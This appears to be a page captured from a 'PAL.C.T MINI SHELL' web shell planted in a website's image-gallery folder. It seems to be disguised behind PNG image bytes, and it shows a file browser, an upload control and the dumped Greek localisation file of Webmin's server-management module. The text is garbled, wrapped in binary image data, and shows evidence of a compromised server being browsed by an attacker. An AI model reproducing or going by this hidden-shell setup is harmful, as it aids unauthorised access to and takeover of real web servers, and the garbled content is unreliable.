php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/servers/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/servers/lang/el.auto

index_title=Webmin Servers
index_edit=επεξεργασία
index_noservers=Δεν έχουν καταχωρηθεί διακομιστές.
index_nosearch=Κανένας διακομιστής δεν αντιστοιχεί στην αναζήτησή σας
index_add=Εγγραφή νέου διακομιστή.
index_broad=Εκπομπή για διακομιστές
index_findmsg=Κάντε κλικ σε αυτό το κουμπί για να βρείτε αυτόματα όλους τους διακομιστές Webmin στο τοπικό σας δίκτυο.
index_scan=Σάρωση για διακομιστές
index_scanmsg=Κάντε κλικ σε αυτό το κουμπί για να ελέγξετε κάθε διεύθυνση στο δίκτυο $1 για διακομιστές Webmin.
index_return=διακομιστές
index_host=Όνομα κεντρικού υπολογιστή και θύρα
index_desc=Περιγραφή
index_os=Τύπος διακομιστή
index_group=Ομάδα
index_none=<Κανένα>
index_logout=Αποσύνδεση
index_defuser=Προεπιλεγμένη σύνδεση για διακομιστές
index_defpass=Προεπιλεγμένος κωδικός
index_defport=Webmin θύρα
index_delete=Διαγραφή επιλεγμένων διακομιστών
index_auto=Βρείτε αυτόματα διακομιστές
index_automsg=Κάντε κλικ σε αυτό το κουμπί για να ρυθμίσετε την αυτόματη περιοδική ανακάλυψη νέων διακομιστών Webmin στο δίκτυό σας.
index_search=Εμφάνιση διακομιστών που ταιριάζουν:
index_ok=Αναζήτηση

edit_title=Επεξεργασία διακομιστή
create_title=Εγγραφή διακομιστή
edit_details=Λεπτομέρειες διακομιστή
edit_host=Όνομα κεντρικού υπολογιστή ή διεύθυνση IP
edit_realhost=Πραγματικό όνομα κεντρικού υπολογιστή
edit_port=Λιμάνι
edit_portnone=Δεν έχει οριστεί
edit_type=Τύπος διακομιστή
edit_ssl=SSL server;
edit_checkssl=Ελέγξτε το απομακρυσμένο πιστοποιητικό SSL;
edit_link=Τύπος συνδέσμου
edit_mode0=Κανονική σύνδεση με διακομιστή
edit_mode1=Σύνδεση μέσω Webmin με
edit_mode2=Συνδεθείτε όταν κάνετε κλικ στο εικονίδιο
edit_mode3=Συνδεθείτε με όνομα χρήστη και κωδικό πρόσβασης από αυτό το διακομιστή
edit_user=όνομα χρήστη
edit_luser=Όνομα χρήστη για απομακρυσμένο διακομιστή
edit_lpass=Κωδικός πρόσβασης για απομακρυσμένο διακομιστή
edit_pass=Κωδικός πρόσβασης
edit_ecannot=Δεν επιτρέπεται η επεξεργασία διακομιστών
edit_desc=Περιγραφή
edit_desc_def=Από το όνομα κεντρικού υπολογιστή και τη θύρα
edit_group=Μέλος ομάδων διακομιστών
edit_none=Κανένας
edit_exists=Υπάρχουσα ομάδα
edit_new=Νέα ομάδα
edit_fast=Κάντε γρήγορες κλήσεις RPC;
edit_auto=Αποφασίστε αυτόματα
edit_status=Κατάσταση διακομιστή
edit_timeout=Σύνδεση χρονικού ορίου
edit_failed=Απέτυχε να συνδεθεί
edit_baduser=Η είσοδος απορρίφθηκε
edit_invalid=Ο χρήστης δεν μπορεί να κάνει RPC
edit_version=Εκτέλεση Webmin $1 
edit_same=Διαθέσιμη μόνο στη λειτουργία ελέγχου ταυτότητας περιόδου σύνδεσης και όταν ο κωδικός πρόσβασης είναι διαθέσιμος στα προγράμματα Webmin.

save_err=Αποτυχία αποθήκευσης διακομιστή
save_ehost=Λείπει ή μη έγκυρο όνομα κεντρικού υπολογιστή
save_ehost2=Ο οικοδεσπότης δεν υπάρχει
save_eport=Λείπει ή μη έγκυρη θύρα
save_eport2=Πρέπει να δοθεί μια θύρα εάν έχει επιλεγεί ένας τύπος συνδέσμου με σύνδεση
save_euser=Λείπει το όνομα χρήστη
save_epass=Λείπει κωδικός πρόσβασης
save_egroup=Λείπει το όνομα ομάδας
save_elogin=Μη έγκυρη σύνδεση ή κωδικός πρόσβασης για να φιλοξενήσει
save_egroup2=Μη έγκυρο όνομα νέας ομάδας

find_title=Βρείτε διακομιστές
find_new=Βρήκε νέο διακομιστή στο $1 
find_but=Βρέθηκε νέος διακομιστής στο $1, αλλά ο έλεγχος ταυτότητας απέτυχε : $2 
find_already=Βρήκε γνωστό διακομιστή στο $1 
find_already2=Βρέθηκε γνωστός κεντρικός υπολογιστής διακομιστή στο $1 
find_skip=Παράβλεψη διακομιστή στο $1 
find_me=Βρήκε αυτό το διακομιστή στο $1 
find_escan=Το δίκτυο για σάρωση πρέπει να είναι μια διεύθυνση δικτύου κατηγορίας C.
find_eiface=Δεν ήταν δυνατή η εύρεση διεπαφής για σάρωση
find_none=Δεν αντέδρασαν διακομιστές στη σάρωση.
find_ecannot=Δεν επιτρέπεται να βρείτε διακομιστές
find_scanning=Σάρωση διακομιστών στο δίκτυο $1 
find_broading=Μετάδοση για διακομιστές στις διευθύνσεις $1 
find_eport=Λείπει ή μη έγκυρος αριθμός θύρας

log_modify=Τροποποιημένος διακομιστής $1 
log_create=Εγγεγραμμένος διακομιστής $1 
log_delete=Διαγράφηκε διακομιστής $1 
log_find=Βρέθηκε διακομιστής $1 
log_deletes=Διαγράφηκαν $1 διακομιστές

link_elogin=Αποτυχία σύνδεσης στο $1 ως $2 
link_ecannot=Δεν επιτρέπεται η χρήση αυτού του διακομιστή
link_essl=Δεν έχετε εγκαταστήσει τη βιβλιοθήκη perl Net::SSLeay
link_eautologin=Μη έγκυρη σύνδεση ή κωδικός πρόσβασης για το $1. <a href='$2'>Κάντε κλικ εδώ</a> για να δοκιμάσετε ξανά.

lib_other=Αλλα

acl_edit=Μπορεί να επεξεργαστεί διακομιστές;
acl_find=Μπορούν να βρουν διακομιστές;
acl_servers=Μπορεί να χρησιμοποιήσει διακομιστές
acl_sall=Όλοι οι διακομιστές
acl_ssel=Επιλεγμένα ..
acl_auto=Μπορεί να ρυθμίσει την αυτόματη ανίχνευση διακομιστών
acl_add=Μπορούν να εγγραφούν νέοι διακομιστές;
acl_forcefast=Απενεργοποίηση γρήγορης λειτουργίας RPC σε προεπιλογή;
acl_forcetype=Επιβολή τύπων λειτουργικού συστήματος σε προεπιλογή;
acl_forcelink=Να ενεργοποιήσετε τον τύπο σύνδεσης στην προεπιλογή;
acl_links=Μπορεί να συνδεθεί μέσω διακομιστών;

login_title=Σύνδεση στο διακομιστή
login_desc=Πρέπει να δώσετε ένα όνομα χρήστη και έναν κωδικό πρόσβασης για να συνδεθείτε στο διακομιστή Webmin $1.
login_header=Έλεγχος ταυτότητας Webmin
login_user=Όνομα χρήστη
login_pass=Κωδικός πρόσβασης
login_login=Σύνδεση
login_esame=Η επιλογή χρήσης των ίδιων συνδέσεων με αυτόν τον διακομιστή μπορεί να χρησιμοποιηθεί μόνο όταν δεν είναι σε λειτουργία ελέγχου ταυτότητας περιόδου σύνδεσης και όταν ο κωδικός πρόσβασης είναι διαθέσιμος στα προγράμματα Webmin.

this_server=αυτόν τον διακομιστή

delete_err=Αποτυχία κατάργησης διακομιστών
delete_enone=Δεν έχει επιλεγεί
delete_ecannot=Δεν επιτρέπεται η διαγραφή διακομιστών
delete_title=Διαγραφή διακομιστών
delete_rusure=Είστε βέβαιοι ότι θέλετε να καταργήσετε τους επιλεγμένους διακομιστές $1 ;
delete_confirm=Διαγραφή τώρα

auto_title=Βρείτε αυτόματα διακομιστές
auto_header=Αυτόματες επιλογές εγγραφής διακομιστή
auto_sched=Ελέγξτε για νέους διακομιστές;
auto_sched1=Ναι, κάθε 1 λεπτό
auto_net=Δίκτυο IP για σάρωση
auto_auto=Τοπικό δίκτυο
auto_ip=Δίκτυα IP $1 
auto_iface=Δίκτυο στη διεπαφή $1 
auto_user=Όνομα χρήστη για νέους διακομιστές
auto_pass=Κωδικός πρόσβασης για νέους διακομιστές
auto_type=Προεπιλεγμένος τύπος συστήματος
auto_err=Αποτυχία αποθήκευσης των αυτόματων ρυθμίσεων εύρεσης
auto_emins=Λείπει ή μη έγκυρος αριθμός λεπτών
auto_enet=Λείπει ή μη έγκυρη διεύθυνση δικτύου
auto_eiface=Λείπει ή δεν είναι έγκυρη διεπαφή δικτύου
auto_euser=Λείπει το όνομα χρήστη
auto_cluster-software=Προσθήκη σε πακέτα λογισμικού συμπλέγματος;
auto_remove=Κατάργηση εγγεγραμμένων διακομιστών που δεν βρέθηκαν;
auto_email=Αποστολή ειδοποίησης ηλεκτρονικού ταχυδρομείου στη διεύθυνση
auto_none=Μην στείλετε
auto_eemail=Λείπει η διεύθυνση ηλεκτρονικού ταχυδρομείου για τις ειδοποιήσεις
auto_smtp=Αποστολή μέσω διακομιστή SMTP
auto_self=Αυτό το σύστημα
auto_esmtp=Έλλειψη ή μη έγκυρος διακομιστής SMTP
auto_findself=Εγγραφή αυτού του συστήματος επίσης;

config_deftype=Προεπιλεγμένος τύπος συστήματος
config_typeauto=Αυτόματο

email_regsubject=Το σύστημα $1 καταχωρήθηκε
email_reg=Το σύστημα $1 έχει εγγραφεί αυτόματα.
email_unregsubject=Το σύστημα $1 δεν καταχωρίστηκε
email_unreg=Το σύστημα $1 καταργήθηκε αυτόματα.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`